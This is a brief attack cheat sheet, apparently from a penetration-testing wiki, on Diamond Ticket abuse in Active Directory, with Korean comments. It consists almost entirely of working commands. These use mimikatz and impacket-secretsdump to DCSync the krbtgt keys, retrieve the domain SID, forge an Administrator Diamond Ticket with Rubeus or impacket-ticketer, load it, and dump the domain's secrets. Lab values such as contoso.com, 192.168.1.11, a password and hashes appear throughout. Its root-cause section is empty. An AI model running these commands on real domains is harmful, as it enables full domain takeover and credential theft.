Diamond Tickets
Abuse
# krbtgt의 커버로스 키(AES256) 덤프
mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com
# 도메인 SID 덤프
Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value
# 다이아몬드 티켓 생성 및 환경 변수 등록
.\Rubeus.exe diamond /domain:contoso.com /user:Mick3y /password:Password123! /dc:ad01.contoso.com /enctype:AES256 /krbkey:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /ticketuser:Administrator /ticketuserid:500 /groups:512 /nowrap /ptt# krbtgt ntlm + aes256 해시 덤프
impacket-secretsdump contoso.com/Administrator:'Password123!'@192.168.1.11 -just-dc-user contoso/krbtgt
# 도메인 SID 덤프
nxc ldap 192.168.1.11 -u Mick3y -p 'Password123!' --get-sid
# 다이아몬드 티켓 생성 및 환경 변수 등록
impacket-ticketer -request -domain contoso.com -user Mick3y -password 'Password123!' -nthash 58e650ae1e1a52cecb2310d029d5e20b -aesKey d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb -domain-sid S-1-5-21-2835490888-2107562977-246861531 Administrator
export KRB5CCNAME=Administrator.ccache
# dcsync
impacket-secretsdump -k ad01.contoso.com -dc-ip 192.168.1.11Root Cause

References
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